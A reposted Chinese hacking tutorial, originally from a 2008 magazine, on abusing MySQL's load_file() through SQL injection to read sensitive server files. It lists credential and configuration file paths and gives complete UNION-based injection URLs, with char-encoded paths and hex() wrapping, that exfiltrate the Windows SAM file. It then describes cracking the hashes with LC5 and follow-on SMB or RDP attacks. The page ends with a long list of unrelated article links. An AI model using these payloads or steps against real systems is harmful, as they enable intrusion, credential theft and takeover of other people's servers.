当前位置: 首页 > news >正文

MYSQL注入中load_file()函数的进一步应用

文章已发表于《黑客防线》2008年第11期 转载请注明

MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件,如:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本

/etc/issue
/etc/issue.net
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件

等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码

等敏感文件都在此列。

MYSQL帐号权限足够高的话,理论上load_file()函数可以读取任何文件,只是因为浏览器的编码不能完全显示二进制编码的文件,从而无法 把load_file()出来的二进制文件存储并加以利用。其实这个问题很容易解决,只要用hex()函数把用load_file()函数读出的二进制文 件转为十六进制,就可以把二进制文件以十六进制编码的形式完全显示在网页上。把这些十六进制代码复制下来,用十六进制文件编辑器编辑后另存,就可以得到完 整的二进制文件。

下面用实例加以说明:
目标服务器为win2003系统,存在root权限的注入点,有读取权限。 见图1



load_file()读取目标服务器c:\windows\repair\sam文件。如果windows系统安装后管理员没有更改密码的话,则有希望得到目标服务器上的windows用户密码。构造

http://www.site.com/mulu/pf.php?id=59/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)),60,32),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*

(注:(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109) 是c:\windows\repair\sam的ASC编码)

得到结果如图2所示,显示为乱码的sam文件。



这里要说明一下,windows系统把sam文件中的资料进行了加密处理,一般的编辑器是无法直接读取这些信息的,除了乱码什么也看不到。
加上hex()函数后,链接为

http://www.site.com/mulu/pf.php?id=59/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)),60,32)),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*

得到结果为图3所示十六进制的sam文件内容。



复制这些十六进制代码,打开十六进制编辑器Hex Workshop,顺序点击文件--新建 (图4)



点击编辑--特殊粘贴(图5)



选择CF_TEXT选项,并选中 解释为十六进制字串选项。(图6)



点击粘贴,得到如图7所示画面



点击文件--另存为,保存类型为所有文件(图8),就得到了完整的sam文件。




之后用LC5导入得到的sam文件,(图9)




得到密码HASH。(图10)



后续的攻击:
如果对方开启了139/445端口,可以尝试用获得的密码HASH进行SMB攻击。
如果对方开启了3389端口,可以尝试破解获得的密码HASH得到密码远程登陆。

入侵中Load_file()的作用有其局限性,如果能配合各种目录遍历漏洞使用,往往能有奇效。
本文没什么技术含量,只是提供了思路,希望对新手朋友们有用。


相关文章:

  • load_file() MYSQL入侵时查看常用敏感信息文件
  • 渗透实战之安全设备踩点
  • MS SQL注入碰到关键词被过滤后的解决思路
  • MSSQL注入利用Group byhaving猜表名和字段名
  • 一份比较详细的DOS命令说明!
  • 一次利用imap漏洞的入侵
  • 学习SQL注入
  • Ubuntu配置apache
  • linux敏感文件
  • 修改Banner
  • ssh反向连接
  • PHP通用防注入安全代码
  • ASP木马Webshell安全解决办案
  • UBUNTU 安装PHP+MYSQL+NGINX
  • 系统密码难以获取时采取的方法
  • Angularjs之国际化
  • C语言笔记(第一章:C语言编程)
  • electron原来这么简单----打包你的react、VUE桌面应用程序
  • ES6 学习笔记(一)let,const和解构赋值
  • Flex布局到底解决了什么问题
  • JavaScript 基本功--面试宝典
  • JavaScript异步流程控制的前世今生
  • Promise面试题,控制异步流程
  • Python 反序列化安全问题(二)
  • Rancher-k8s加速安装文档
  • react 代码优化(一) ——事件处理
  • springMvc学习笔记(2)
  • ucore操作系统实验笔记 - 重新理解中断
  • Vue.js-Day01
  • 从地狱到天堂,Node 回调向 async/await 转变
  • 关于extract.autodesk.io的一些说明
  • 互联网大裁员:Java程序员失工作,焉知不能进ali?
  • 前端技术周刊 2018-12-10:前端自动化测试
  • 区块链共识机制优缺点对比都是什么
  • 日剧·日综资源集合(建议收藏)
  • 世界上最简单的无等待算法(getAndIncrement)
  • 在 Chrome DevTools 中调试 JavaScript 入门
  • 蚂蚁金服CTO程立:真正的技术革命才刚刚开始
  • ​​​​​​​sokit v1.3抓手机应用socket数据包: Socket是传输控制层协议,WebSocket是应用层协议。
  • ​低代码平台的核心价值与优势
  • # C++之functional库用法整理
  • #include<初见C语言之指针(5)>
  • (+4)2.2UML建模图
  • (LeetCode 49)Anagrams
  • (附源码)python旅游推荐系统 毕业设计 250623
  • (十二)springboot实战——SSE服务推送事件案例实现
  • 、写入Shellcode到注册表上线
  • .Mobi域名介绍
  • .NET 程序如何获取图片的宽高(框架自带多种方法的不同性能)
  • .NET/C# 将一个命令行参数字符串转换为命令行参数数组 args
  • .NET中GET与SET的用法
  • .php结尾的域名,【php】php正则截取url中域名后的内容
  • .pop ----remove 删除
  • /var/lib/dpkg/lock 锁定问题
  • @GlobalLock注解作用与原理解析